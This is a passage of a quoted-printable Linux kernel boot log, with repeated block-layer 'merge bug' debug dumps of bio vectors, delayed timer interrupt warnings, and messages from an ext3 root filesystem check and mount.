           48: 0 4096 246016 000000007e2c4ac0                            =
      =20
           49: 0 4096 246017 000000007e2c4ac0                            =
      =20
           50: 0 4096 246018 000000007e2c4ac0                            =
      =20
           51: 0 4096 246019 000000007e2c4ac0                            =
      =20
           52: 0 4096 246020 000000007e2c4ac0                            =
      =20
           53: 0 4096 246021 000000007e2c4ac0                            =
      =20
           54: 0 4096 246022 000000007e2c4ac0                            =
      =20
           55: 0 4096 246023 000000007e2c4ac0                            =
      =20
           56: 0 4096 246024 000000007e2c4ac0                            =
      =20
           57: 0 4096 246025 000000007e2c4ac0                            =
      =20
           58: 0 4096 246026 000000007e2c4ac0                            =
      =20
           59: 0 4096 246027 000000007e2c4ac0                            =
      =20
           60: 0 4096 246028 000000007e2c4ac0                            =
      =20
           61: 0 4096 246029 000000007e2c4ac0                            =
      =20
           62: 0 4096 246030 000000007e2c4ac0                            =
      =20
           63: 0 4096 246031 000000007e2c4ac0                            =
      =20
timer_interrupt(CPU 0): delayed! cycles A61A0938 rem 31FC48  next/now =
1DA525AC9D
blk_rq_map_sg: merge bug: 4 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c6a32c0(f:24490000, t:1)              =
      =20
            0: 0 4096 246032 000000007e56b100                            =
      =20
            1: 0 4096 246033 000000007e56b100                            =
      =20
            2: 0 4096 246034 000000007e56b100                            =
      =20
            3: 0 4096 246035 000000007e56b100                            =
      =20
            4: 0 4096 246036 000000007e56b100                            =
      =20
            5: 0 4096 246037 000000007e56b100                            =
      =20
            6: 0 4096 246038 000000007e56b100                            =
      =20
            7: 0 4096 246039 000000007e56b100                            =
      =20
            8: 0 4096 246040 000000007e56b100                            =
      =20
            9: 0 4096 246041 000000007e56b100                            =
      =20
           10: 0 4096 246042 000000007e56b100                            =
      =20
           11: 0 4096 246043 000000007e56b100                            =
      =20
           12: 0 4096 246044 000000007e56b100                            =
      =20
           13: 0 4096 246045 000000007e56b100                            =
      =20
           14: 0 4096 246046 000000007e56b100                            =
      =20
           15: 0 4096 246047 000000007e56b100                            =
      =20
           16: 0 4096 246048 000000007e56b100                            =
      =20
           17: 0 4096 246049 000000007e56b100                            =
      =20
           18: 0 4096 246050 000000007e56b100                            =
      =20
           19: 0 4096 246051 000000007e56b100                            =
      =20
           20: 0 4096 246052 000000007e56b100                            =
      =20
           21: 0 4096 246053 000000007e56b100                            =
      =20
           22: 0 4096 246054 000000007e56b100                            =
      =20
           23: 0 4096 246055 000000007e56b100                            =
      =20
           24: 0 4096 246056 000000007e56b100                            =
      =20
           25: 0 4096 246057 000000007e56b100                            =
      =20
           26: 0 4096 246058 000000007e56b100                            =
      =20
           27: 0 4096 246059 000000007e56b100                            =
      =20
           28: 0 4096 246060 000000007e56b100                            =
      =20
           29: 0 4096 246061 000000007e56b100                            =
      =20
           30: 0 4096 246062 000000007e56b100                            =
      =20
           31: 0 4096 246063 000000007e56b100                            =
      =20
           32: 0 4096 246064 000000007e56b100                            =
      =20
           33: 0 4096 246065 000000007e56b100                            =
      =20
           34: 0 4096 246066 000000007e56b100                            =
      =20
           35: 0 4096 246067 000000007e56b100                            =
      =20
           36: 0 4096 246068 000000007e56b100                            =
      =20
           37: 0 4096 246069 000000007e56b100                            =
      =20
           38: 0 4096 246070 000000007e56b100                            =
      =20
           39: 0 4096 246071 000000007e56b100                            =
      =20
           40: 0 4096 246072 000000007e56b100                            =
      =20
           41: 0 4096 246073 000000007e56b100                            =
      =20
           42: 0 4096 246074 000000007e56b100                            =
      =20
           43: 0 4096 246075 000000007e56b100                            =
      =20
           44: 0 4096 246076 000000007e56b100                            =
      =20
           45: 0 4096 246077 000000007e56b100                            =
      =20
           46: 0 4096 246078 000000007e56b100                            =
      =20
           47: 0 4096 246079 000000007e56b100                            =
      =20
           48: 0 4096 246080 000000007e56b100                            =
      =20
           49: 0 4096 246081 000000007e56b100                            =
      =20
           50: 0 4096 246082 000000007e56b100                            =
      =20
           51: 0 4096 246083 000000007e56b100                            =
      =20
           52: 0 4096 246084 000000007e56b100                            =
      =20
           53: 0 4096 246085 000000007e56b100                            =
      =20
           54: 0 4096 246086 000000007e56b100                            =
      =20
           55: 0 4096 246087 000000007e56b100                            =
      =20
           56: 0 4096 246088 000000007e56b100                            =
      =20
           57: 0 4096 246089 000000007e56b100                            =
      =20
           58: 0 4096 246090 000000007e56b100                            =
      =20
           59: 0 4096 246091 000000007e56b100                            =
      =20
           60: 0 4096 246092 000000007e56b100                            =
      =20
           61: 0 4096 246093 000000007e56b100                            =
      =20
           62: 0 4096 246094 000000007e56b100                            =
      =20
           63: 0 4096 246095 000000007e56b100                            =
      =20
timer_interrupt(CPU 0): delayed! cycles A64FC1D0 rem 94DA30  next/now =
1E52002995
Begin: Loading essential drivers ... done.                               =
      =20
Begin: Running /scripts/init-premount ... done.                          =
      =20
Begin: Mounting root file system ... Begin: Running /scripts/local-top =
... done.
Begin: Running /scripts/local-premount ... done.                         =
      =20
Begin: Will now check root file system ... fsck from util-linux 2.27.1   =
      =20
[/sbin/fsck.ext3 (1) -- /dev/sdb4] fsck.ext3 -a -C0 /dev/sdb4            =
      =20
ROOT: clean, 131346/4341760 files, 4012036/17343502 blocks               =
      =20
donekjournald starting.  Commit interval 5 seconds                       =
      =20
.                                                                        =
      =20
EXT3-fs (sdb4): mounted filesystem with writeback data mode              =
      =20
done.                                                                    =
      =20
Begin: Running /scripts/local-bottom ... done.                           =
      =20
Begin: Running /scripts/init-bottom ... done.                            =
      =20
INIT: version 2.88 booting                                               =
      =20
[info] Using makefile-style concurrent boot in runlevel S.               =
      =20
blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c7cedc0(f:24490000, t:1)              =
      =20
            0: 0 4096 19198 000000007e6e7d00                             =
      =20
            1: 0 4096 19199 000000007e6e7d00                             =
      =20
            2: 0 4096 19200 000000007e6e7d00                             =
      =20
            3: 0 4096 19201 000000007e6e7d00                             =
      =20
            4: 0 4096 19202 000000007e6e7d00                             =
      =20
            5: 0 4096 19203 000000007e6e7d00                             =
      =20
            6: 0 4096 19213 000000007e6e7d00                             =
      =20
            7: 0 4096 19214 000000007e6e7d00                             =
      =20
            8: 0 4096 19215 000000007e6e7d00                             =
      =20
            9: 0 4096 19216 000000007e6e7d00                             =
      =20
           10: 0 4096 19217 000000007e6e7d00                             =
      =20
           11: 0 4096 19218 000000007e6e7d00                             =
      =20
           12: 0 4096 19219 000000007e6e7d00                             =
      =20
           13: 0 4096 19220 000000007e6e7d00                             =
      =20
           14: 0 4096 19221 000000007e6e7d00                             =
      =20
           15: 0 4096 19222 000000007e6e7d00                             =
      =20
           16: 0 4096 19223 000000007e6e7d00                             =
      =20
           17: 0 4096 19224 000000007e6e7d00                             =
      =20
           18: 0 4096 19225 000000007e6e7d00                             =
      =20
           19: 0 4096 19226 000000007e6e7d00                             =
      =20
           20: 0 4096 19227 000000007e6e7d00                             =
      =20
           21: 0 4096 19228 000000007e6e7d00                             =
      =20
           22: 0 4096 19229 000000007e6e7d00                             =
      =20
timer_interrupt(CPU 0): delayed! cycles 3EEEC3B2 rem 3F8D4E  next/now =
1F7D374897
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c6a32c0(f:24490000, t:1)              =
      =20
            0: 0 4096 243716 000000007e700c40                            =
      =20
            1: 0 4096 243717 000000007e700c40                            =
      =20
            2: 0 4096 243718 000000007e700c40                            =
      =20
            3: 0 4096 243719 000000007e700c40                            =
      =20
            4: 0 4096 243720 000000007e700c40                            =
      =20
            5: 0 4096 243721 000000007e700c40                            =
      =20
            6: 0 4096 243722 000000007e700c40                            =
      =20
            7: 0 4096 243723 000000007e700c40                            =
      =20
            8: 0 4096 243724 000000007e700c40                            =
      =20
            9: 0 4096 243725 000000007e700c40                            =
      =20
           10: 0 4096 243726 000000007e700c40                            =
      =20
           11: 0 4096 243727 000000007e700c40                            =
      =20
           12: 0 4096 243728 000000007e700c40                            =
      =20
           13: 0 4096 243729 000000007e700c40                            =
      =20
           14: 0 4096 243730 000000007e700c40                            =
      =20
           15: 0 4096 243731 000000007e700c40                            =
      =20
           16: 0 4096 243732 000000007e700c40                            =
      =20
blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c6a3010(f:24490000, t:1)              =
      =20
            0: 0 4096 243842 000000007e700c40                            =
      =20
            1: 0 4096 243843 000000007e700c40                            =
      =20
            2: 0 4096 243844 000000007e700c40                            =
      =20
            3: 0 4096 243845 000000007e700c40                            =
      =20
            4: 0 4096 243846 000000007e700c40                            =
      =20
            5: 0 4096 243847 000000007e700c40                            =
      =20
            6: 0 4096 243848 000000007e700c40                            =
      =20
            7: 0 4096 243849 000000007e700c40                            =
      =20
            8: 0 4096 243850 000000007e700c40                            =
      =20
            9: 0 4096 243851 000000007e700c40                            =
      =20
           10: 0 4096 243852 000000007e700c40                            =
      =20
           11: 0 4096 243853 000000007e700c40                            =
      =20
           12: 0 4096 243854 000000007e700c40                            =
      =20
           13: 0 4096 243855 000000007e700c40                            =
      =20
           14: 0 4096 243856 000000007e700c40                            =
      =20
           15: 0 4096 243857 000000007e700c40                            =
      =20
           16: 0 4096 243858 000000007e700c40                            =
      =20
           17: 0 4096 243859 000000007e700c40                            =
      =20
           18: 0 4096 243860 000000007e700c40                            =
      =20
           19: 0 4096 243861 000000007e700c40                            =
      =20
           20: 0 4096 243862 000000007e700c40                            =
      =20
           21: 0 4096 243863 000000007e700c40                            =
      =20
           22: 0 4096 243864 000000007e700c40                            =
      =20
           23: 0 4096 243865 000000007e700c40                            =
      =20
           24: 0 4096 243869 000000007e700c40                            =
      =20
           25: 0 4096 243870 000000007e700c40                            =
      =20
           26: 0 4096 243871 000000007e700c40                            =
      =20
           27: 0 4096 243872 000000007e700c40                            =
      =20
           28: 0 4096 243873 000000007e700c40                            =
      =20
           29: 0 4096 243874 000000007e700c40                            =
      =20
           30: 0 4096 243875 000000007e700c40                            =
      =20
           31: 0 4096 243876 000000007e700c40                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 56E0ED66 rem 24E79A  next/now =
20457CD09B
blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c7cedc0(f:24490000, t:1)              =
      =20
            0: 0 4096 243877 000000007e6e7880                            =
      =20
            1: 0 4096 243878 000000007e6e7880                            =
      =20
            2: 0 4096 243879 000000007e6e7880                            =
      =20
            3: 0 4096 243880 000000007e6e7880                            =
      =20
            4: 0 4096 243881 000000007e6e7880                            =
      =20
            5: 0 4096 243882 000000007e6e7880                            =
      =20
            6: 0 4096 243883 000000007e6e7880                            =
      =20
            7: 0 4096 243884 000000007e6e7880                            =
      =20
            8: 0 4096 243885 000000007e6e7880                            =
      =20
            9: 0 4096 243886 000000007e6e7880                            =
      =20
           10: 0 4096 243887 000000007e6e7880                            =
      =20
           11: 0 4096 243888 000000007e6e7880                            =
      =20
           12: 0 4096 243900 000000007e6e7880                            =
      =20
           13: 0 4096 243901 000000007e6e7880                            =
      =20
           14: 0 4096 243902 000000007e6e7880                            =
      =20
           15: 0 4096 243903 000000007e6e7880                            =
      =20
           16: 0 4096 243904 000000007e6e7880                            =
      =20
           17: 0 4096 243905 000000007e6e7880                            =
      =20
           18: 0 4096 243906 000000007e6e7880                            =
      =20
           19: 0 4096 243907 000000007e6e7880                            =
      =20
           20: 0 4096 243908 000000007e6e7880                            =
      =20
           21: 0 4096 243909 000000007e6e7880                            =
      =20
           22: 0 4096 243910 000000007e6e7880                            =
      =20
           23: 0 4096 243911 000000007e6e7880                            =
      =20
           24: 0 4096 243912 000000007e6e7880                            =
      =20
           25: 0 4096 243913 000000007e6e7880                            =
      =20
           26: 0 4096 243914 000000007e6e7880                            =
      =20
           27: 0 4096 243915 000000007e6e7880                            =
      =20
           28: 0 4096 243916 000000007e6e7880                            =
      =20
           29: 0 4096 243917 000000007e6e7880                            =
      =20
           30: 0 4096 243918 000000007e6e7880                            =
      =20
           31: 0 4096 243919 000000007e6e7880                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 56D282B4 rem 33524C  next/now =
20A2788699
blk_rq_map_sg: merge bug: 5 4, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e2d1228(f:24490000, t:1)              =
      =20
            0: 0 4096 244139 000000007e2c4c40                            =
      =20
            1: 0 4096 244138 000000007e2c4c40                            =
      =20
            2: 0 4096 244137 000000007e2c4c40                            =
      =20
            3: 0 4096 244146 000000007e2c4c40                            =
      =20
            4: 0 4096 244147 000000007e2c4c40                            =
      =20
            5: 0 4096 244148 000000007e2c4c40                            =
      =20
            6: 0 4096 244149 000000007e2c4c40                            =
      =20
            7: 0 4096 244150 000000007e2c4c40                            =
      =20
            8: 0 4096 244151 000000007e2c4c40                            =
      =20
            9: 0 4096 244152 000000007e2c4c40                            =
      =20
           10: 0 4096 244153 000000007e2c4c40                            =
      =20
           11: 0 4096 244154 000000007e2c4c40                            =
      =20
           12: 0 4096 244155 000000007e2c4c40                            =
      =20
           13: 0 4096 244156 000000007e2c4c40                            =
      =20
           14: 0 4096 244157 000000007e2c4c40                            =
      =20
           15: 0 4096 244158 000000007e2c4c40                            =
      =20
           16: 0 4096 244159 000000007e2c4c40                            =
      =20
           17: 0 4096 244160 000000007e2c4c40                            =
      =20
           18: 0 4096 244161 000000007e2c4c40                            =
      =20
           19: 0 4096 244162 000000007e2c4c40                            =
      =20
           20: 0 4096 244163 000000007e2c4c40                            =
      =20
           21: 0 4096 244164 000000007e2c4c40                            =
      =20
           22: 0 4096 244165 000000007e2c4c40                            =
      =20
           23: 0 4096 244166 000000007e2c4c40                            =
      =20
           24: 0 4096 244167 000000007e2c4c40                            =
      =20
           25: 0 4096 244168 000000007e2c4c40                            =
      =20
           26: 0 4096 244169 000000007e2c4c40                            =
      =20
           27: 0 4096 244170 000000007e2c4c40                            =
      =20
           28: 0 4096 244171 000000007e2c4c40                            =
      =20
           29: 0 4096 244172 000000007e2c4c40                            =
      =20
           30: 0 4096 244173 000000007e2c4c40                            =
      =20
           31: 0 4096 244174 000000007e2c4c40                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 56F53EB0 rem 109650  next/now =
212599DC95
[....] Starting the hotplug events dispatcher: systemd-udevdstarting =
version 228
. ok                                                                     =
      =20
[....] Synthesizing the initial hotplug events...blk_rq_map_sg: merge =
bug: 13 10
check_bvec: dump bvec for 000000007c7cec68(f:24490000, t:1)              =
      =20
            0: 0 4096 244052 000000007e56b7c0                            =
      =20
            1: 0 4096 244051 000000007e56b7c0                            =
      =20
            2: 0 4096 244050 000000007e56b7c0                            =
      =20
            3: 0 4096 244049 000000007e56b7c0                            =
      =20
            4: 0 4096 244048 000000007e56b7c0                            =
      =20
            5: 0 4096 244047 000000007e56b7c0                            =
      =20
            6: 0 4096 244046 000000007e56b7c0                            =
      =20
            7: 0 4096 244045 000000007e56b7c0                            =
      =20
            8: 0 4096 244044 000000007e56b7c0                            =
      =20
            9: 0 4096 244043 000000007e56b7c0                            =
      =20
           10: 0 4096 244042 000000007e56b7c0                            =
      =20
           11: 0 4096 243268 000000007e56b7c0                            =
      =20
           12: 0 4096 243269 000000007e56b7c0                            =
      =20
           13: 0 4096 243270 000000007e56b7c0                            =
      =20
           14: 0 4096 243271 000000007e56b7c0                            =
      =20
           15: 0 4096 243272 000000007e56b7c0                            =
      =20
           16: 0 4096 243273 000000007e56b7c0                            =
      =20
           17: 0 4096 243274 000000007e56b7c0                            =
      =20
           18: 0 4096 243275 000000007e56b7c0                            =
      =20
           19: 0 4096 243276 000000007e56b7c0                            =
      =20
           20: 0 4096 243277 000000007e56b7c0                            =
      =20
           21: 0 4096 243278 000000007e56b7c0                            =
      =20
           22: 0 4096 243279 000000007e56b7c0                            =
      =20
           23: 0 4096 243280 000000007e56b7c0                            =
      =20
           24: 0 4096 243281 000000007e56b7c0                            =
      =20
           25: 0 4096 243282 000000007e56b7c0                            =
      =20
           26: 0 4096 243283 000000007e56b7c0                            =
      =20
           27: 0 4096 243284 000000007e56b7c0                            =
      =20
           28: 0 4096 243285 000000007e56b7c0                            =
      =20
           29: 0 4096 243286 000000007e56b7c0                            =
      =20
           30: 0 4096 243287 000000007e56b7c0                            =
      =20
           31: 0 4096 243288 000000007e56b7c0                            =
      =20
timer_interrupt(CPU 3): delayed! cycles 568D1987 rem 78BB79  next/now =
21A8E520F7
blk_rq_map_sg: merge bug: 9 8, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e6e6300(f:24490000, t:1)              =
      =20
            0: 0 4096 256236 000000007e743400                            =
      =20
            1: 0 4096 243995 000000007e743400                            =
      =20
            2: 0 4096 244030 000000007e743400                            =
      =20
            3: 0 4096 244015 000000007e743400                            =
      =20
            4: 0 4096 19012 000000007e743400                             =
      =20
            5: 0 4096 244119 000000007e743400                            =
      =20
            6: 0 4096 18736 000000007e743400                             =
      =20
            7: 0 4096 244657 000000007e743400                            =
      =20
            8: 0 4096 244658 000000007e743400                            =
      =20
            9: 0 4096 244659 000000007e743400                            =
      =20
           10: 0 4096 244660 000000007e743400                            =
      =20
           11: 0 4096 244661 000000007e743400                            =
      =20
           12: 0 4096 244662 000000007e743400                            =
      =20
           13: 0 4096 244663 000000007e743400                            =
      =20
           14: 0 4096 244664 000000007e743400                            =
      =20
           15: 0 4096 244665 000000007e743400                            =
      =20
           16: 0 4096 244666 000000007e743400                            =
      =20
           17: 0 4096 244667 000000007e743400                            =
      =20
           18: 0 4096 244668 000000007e743400                            =
      =20
           19: 0 4096 244669 000000007e743400                            =
      =20
           20: 0 4096 244670 000000007e743400                            =
      =20
           21: 0 4096 244671 000000007e743400                            =
      =20
           22: 0 4096 244672 000000007e743400                            =
      =20
           23: 0 4096 244673 000000007e743400                            =
      =20
           24: 0 4096 244674 000000007e743400                            =
      =20
           25: 0 4096 244675 000000007e743400                            =
      =20
           26: 0 4096 244676 000000007e743400                            =
      =20
           27: 0 4096 244677 000000007e743400                            =
      =20
timer_interrupt(CPU 1): delayed! cycles 4C8678A5 rem 5D5DDB  next/now =
2200EBF99A
timer_interrupt(CPU 0): delayed! cycles 4C80535F rem 638321  next/now =
2200F23494
timer_interrupt(CPU 3): delayed! cycles 4C5668F4 rem 8D6D8C  next/now =
22011C22F4
blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c7cec68(f:24490000, t:1)              =
      =20
            0: 0 4096 244632 000000007e36f100                            =
      =20
            1: 0 4096 244633 000000007e36f100                            =
      =20
            2: 0 4096 244634 000000007e36f100                            =
      =20
            3: 0 4096 244635 000000007e36f100                            =
      =20
            4: 0 4096 244636 000000007e36f100                            =
      =20
            5: 0 4096 244637 000000007e36f100                            =
      =20
            6: 0 4096 244638 000000007e36f100                            =
      =20
            7: 0 4096 244639 000000007e36f100                            =
      =20
            8: 0 4096 244640 000000007e36f100                            =
      =20
            9: 0 4096 244641 000000007e36f100                            =
      =20
           10: 0 4096 244642 000000007e36f100                            =
      =20
           11: 0 4096 244643 000000007e36f100                            =
      =20
           12: 0 4096 244644 000000007e36f100                            =
      =20
           13: 0 4096 244645 000000007e36f100                            =
      =20
           14: 0 4096 244646 000000007e36f100                            =
      =20
           15: 0 4096 244647 000000007e36f100                            =
      =20
           16: 0 4096 244648 000000007e36f100                            =
      =20
           17: 0 4096 244649 000000007e36f100                            =
      =20
           18: 0 4096 244650 000000007e36f100                            =
      =20
           19: 0 4096 244651 000000007e36f100                            =
      =20
           20: 0 4096 244652 000000007e36f100                            =
      =20
           21: 0 4096 244653 000000007e36f100                            =
      =20
           22: 0 4096 244654 000000007e36f100                            =
      =20
           23: 0 4096 244655 000000007e36f100                            =
      =20
           24: 0 4096 244656 000000007e36f100                            =
      =20
           25: 0 4096 244688 000000007e36f100                            =
      =20
           26: 0 4096 244689 000000007e36f100                            =
      =20
           27: 0 4096 244690 000000007e36f100                            =
      =20
           28: 0 4096 244691 000000007e36f100                            =
      =20
           29: 0 4096 244692 000000007e36f100                            =
      =20
           30: 0 4096 244693 000000007e36f100                            =
      =20
           31: 0 4096 244694 000000007e36f100                            =
      =20
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c7cec68(f:24490000, t:1)              =
      =20
            0: 0 4096 244695 000000007e36f100                            =
      =20
            1: 0 4096 244696 000000007e36f100                            =
      =20
            2: 0 4096 244697 000000007e36f100                            =
      =20
            3: 0 4096 244698 000000007e36f100                            =
      =20
            4: 0 4096 244699 000000007e36f100                            =
      =20
            5: 0 4096 244700 000000007e36f100                            =
      =20
            6: 0 4096 244701 000000007e36f100                            =
      =20
            7: 0 4096 244702 000000007e36f100                            =
      =20
            8: 0 4096 244703 000000007e36f100                            =
      =20
            9: 0 4096 244704 000000007e36f100                            =
      =20
           10: 0 4096 244705 000000007e36f100                            =
      =20
           11: 0 4096 244706 000000007e36f100                            =
      =20
           12: 0 4096 244707 000000007e36f100                            =
      =20
           13: 0 4096 244708 000000007e36f100                            =
      =20
           14: 0 4096 244709 000000007e36f100                            =
      =20
           15: 0 4096 244710 000000007e36f100                            =
      =20
           16: 0 4096 244711 000000007e36f100                            =
      =20
timer_interrupt(CPU 1): delayed! cycles 99A6A770 rem 210590  next/now =
229AB3A695
blk_rq_map_sg: merge bug: 17 16, extra_len 0, dma_drain 0                =
      =20
check_bvec: dump bvec for 000000007c7cec68(f:24490000, t:1)              =
      =20
            0: 0 4096 241762 000000007e700940                            =
      =20
            1: 0 4096 241761 000000007e700940                            =
      =20
            2: 0 4096 241760 000000007e700940                            =
      =20
            3: 0 4096 241759 000000007e700940                            =
      =20
            4: 0 4096 241758 000000007e700940                            =
      =20
            5: 0 4096 241757 000000007e700940                            =
      =20
            6: 0 4096 241756 000000007e700940                            =
      =20
            7: 0 4096 241755 000000007e700940                            =
      =20
            8: 0 4096 241754 000000007e700940                            =
      =20
            9: 0 4096 241753 000000007e700940                            =
      =20
           10: 0 4096 241752 000000007e700940                            =
      =20
           11: 0 4096 241751 000000007e700940                            =
      =20
           12: 0 4096 241750 000000007e700940                            =
      =20
           13: 0 4096 241749 000000007e700940                            =
      =20
           14: 0 4096 241748 000000007e700940                            =
      =20
           15: 0 4096 241763 000000007e700940                            =
      =20
           16: 0 4096 241764 000000007e700940                            =
      =20
           17: 0 4096 241765 000000007e700940                            =
      =20
           18: 0 4096 241766 000000007e700940                            =
      =20
           19: 0 4096 241767 000000007e700940                            =
      =20
           20: 0 4096 241768 000000007e700940                            =
      =20
           21: 0 4096 241769 000000007e700940                            =
      =20
           22: 0 4096 241770 000000007e700940                            =
      =20
           23: 0 4096 241771 000000007e700940                            =
      =20
           24: 0 4096 241772 000000007e700940                            =
      =20
           25: 0 4096 241773 000000007e700940                            =
      =20
           26: 0 4096 241774 000000007e700940                            =
      =20
           27: 0 4096 241775 000000007e700940                            =
      =20
           28: 0 4096 241776 000000007e700940                            =
      =20
           29: 0 4096 241777 000000007e700940                            =
      =20
           30: 0 4096 241778 000000007e700940                            =
      =20
           31: 0 4096 241779 000000007e700940                            =
      =20
timer_interrupt(CPU 3): delayed! cycles 56DDB169 rem 282397  next/now =
22F9A94979
blk_rq_map_sg: merge bug: 8 7, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c6a3010(f:24490000, t:1)              =
      =20
            0: 0 4096 241855 000000007e2c4c40                            =
      =20
            1: 0 4096 241854 000000007e2c4c40                            =
      =20
            2: 0 4096 241853 000000007e2c4c40                            =
      =20
            3: 0 4096 241852 000000007e2c4c40                            =
      =20
            4: 0 4096 241851 000000007e2c4c40                            =
      =20
            5: 0 4096 241850 000000007e2c4c40                            =
      =20
            6: 0 4096 241856 000000007e2c4c40                            =
      =20
            7: 0 4096 241857 000000007e2c4c40                            =
      =20
            8: 0 4096 241858 000000007e2c4c40                            =
      =20
            9: 0 4096 241859 000000007e2c4c40                            =
      =20
           10: 0 4096 241860 000000007e2c4c40                            =
      =20
           11: 0 4096 241861 000000007e2c4c40                            =
      =20
           12: 0 4096 241862 000000007e2c4c40                            =
      =20
           13: 0 4096 241863 000000007e2c4c40                            =
      =20
           14: 0 4096 241864 000000007e2c4c40                            =
      =20
           15: 0 4096 241865 000000007e2c4c40                            =
      =20
           16: 0 4096 241866 000000007e2c4c40                            =
      =20
           17: 0 4096 241867 000000007e2c4c40                            =
      =20
           18: 0 4096 241868 000000007e2c4c40                            =
      =20
           19: 0 4096 241869 000000007e2c4c40                            =
      =20
           20: 0 4096 241870 000000007e2c4c40                            =
      =20
           21: 0 4096 241871 000000007e2c4c40                            =
      =20
           22: 0 4096 241872 000000007e2c4c40                            =
      =20
           23: 0 4096 241873 000000007e2c4c40                            =
      =20
           24: 0 4096 241874 000000007e2c4c40                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 45571370 rem 65B510  next/now =
2345CA9B15
blk_rq_map_sg: merge bug: 16 15, extra_len 0, dma_drain 0                =
      =20
check_bvec: dump bvec for 000000007c7cec68(f:24490000, t:1)              =
      =20
            0: 0 4096 242010 000000007e700940                            =
      =20
            1: 0 4096 242009 000000007e700940                            =
      =20
            2: 0 4096 242008 000000007e700940                            =
      =20
            3: 0 4096 242007 000000007e700940                            =
      =20
            4: 0 4096 242006 000000007e700940                            =
      =20
            5: 0 4096 242005 000000007e700940                            =
      =20
            6: 0 4096 242004 000000007e700940                            =
      =20
            7: 0 4096 242003 000000007e700940                            =
      =20
            8: 0 4096 242002 000000007e700940                            =
      =20
            9: 0 4096 242001 000000007e700940                            =
      =20
           10: 0 4096 242000 000000007e700940                            =
      =20
           11: 0 4096 241999 000000007e700940                            =
      =20
           12: 0 4096 241998 000000007e700940                            =
      =20
           13: 0 4096 241997 000000007e700940                            =
      =20
           14: 0 4096 242073 000000007e700940                            =
      =20
           15: 0 4096 242074 000000007e700940                            =
      =20
           16: 0 4096 242075 000000007e700940                            =
      =20
           17: 0 4096 242076 000000007e700940                            =
      =20
           18: 0 4096 242077 000000007e700940                            =
      =20
           19: 0 4096 242078 000000007e700940                            =
      =20
           20: 0 4096 242079 000000007e700940                            =
      =20
           21: 0 4096 242080 000000007e700940                            =
      =20
           22: 0 4096 242081 000000007e700940                            =
      =20
           23: 0 4096 242082 000000007e700940                            =
      =20
           24: 0 4096 242083 000000007e700940                            =
      =20
           25: 0 4096 242084 000000007e700940                            =
      =20
           26: 0 4096 242085 000000007e700940                            =
      =20
           27: 0 4096 242086 000000007e700940                            =
      =20
           28: 0 4096 242087 000000007e700940                            =
      =20
           29: 0 4096 242088 000000007e700940                            =
      =20
           30: 0 4096 242089 000000007e700940                            =
      =20
           31: 0 4096 242090 000000007e700940                            =
      =20
timer_interrupt(CPU 3): delayed! cycles 57183241 rem 86393F  next/now =
23A388D5F1
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c6a3010(f:24490000, t:1)              =
      =20
            0: 0 4096 242044 000000007e2c4c40                            =
      =20
            1: 0 4096 242045 000000007e2c4c40                            =
      =20
            2: 0 4096 242046 000000007e2c4c40                            =
      =20
            3: 0 4096 242047 000000007e2c4c40                            =
      =20
            4: 0 4096 242048 000000007e2c4c40                            =
      =20
            5: 0 4096 242049 000000007e2c4c40                            =
      =20
            6: 0 4096 242050 000000007e2c4c40                            =
      =20
            7: 0 4096 242051 000000007e2c4c40                            =
      =20
            8: 0 4096 242052 000000007e2c4c40                            =
      =20
            9: 0 4096 242053 000000007e2c4c40                            =
      =20
           10: 0 4096 242054 000000007e2c4c40                            =
      =20
           11: 0 4096 242055 000000007e2c4c40                            =
      =20
           12: 0 4096 242056 000000007e2c4c40                            =
      =20
           13: 0 4096 242057 000000007e2c4c40                            =
      =20
           14: 0 4096 242058 000000007e2c4c40                            =
      =20
           15: 0 4096 242059 000000007e2c4c40                            =
      =20
           16: 0 4096 242060 000000007e2c4c40                            =
      =20
           17: 0 4096 242061 000000007e2c4c40                            =
      =20
[ ok lk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0              =
      =20
check_bvec: dump bvec for 000000007c7cec68(f:24490000, t:1)              =
      =20
9m          0: 0 4096 242091 000000007e700ac0                            =
      =20
            1: 0 4096 242092 000000007e700ac0                            =
      =20
            2: 0 4096 242093 000000007e700ac0                            =
      =20
            3: 0 4096 242197 000000007e700ac0                            =
      =20
            4: 0 4096 242198 000000007e700ac0                            =
      =20
            5: 0 4096 242199 000000007e700ac0                            =
      =20
            6: 0 4096 242200 000000007e700ac0                            =
      =20
            7: 0 4096 242201 000000007e700ac0                            =
      =20
            8: 0 4096 242202 000000007e700ac0                            =
      =20
            9: 0 4096 242203 000000007e700ac0                            =
      =20
           10: 0 4096 242204 000000007e700ac0                            =
      =20
           11: 0 4096 242205 000000007e700ac0                            =
      =20
           12: 0 4096 242206 000000007e700ac0                            =
      =20
           13: 0 4096 242207 000000007e700ac0                            =
      =20
           14: 0 4096 242208 000000007e700ac0                            =
      =20
           15: 0 4096 242209 000000007e700ac0                            =
      =20
           16: 0 4096 242210 000000007e700ac0                            =
      =20
           17: 0 4096 242211 000000007e700ac0                            =
      =20
           18: 0 4096 242212 000000007e700ac0                            =
      =20
           19: 0 4096 242213 000000007e700ac0                            =
      =20
done.                                                                    =
      =20
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e2d1228(f:24490000, t:1)              =
      =20
            0: 0 4096 242545 000000007e2c4700                            =
      =20
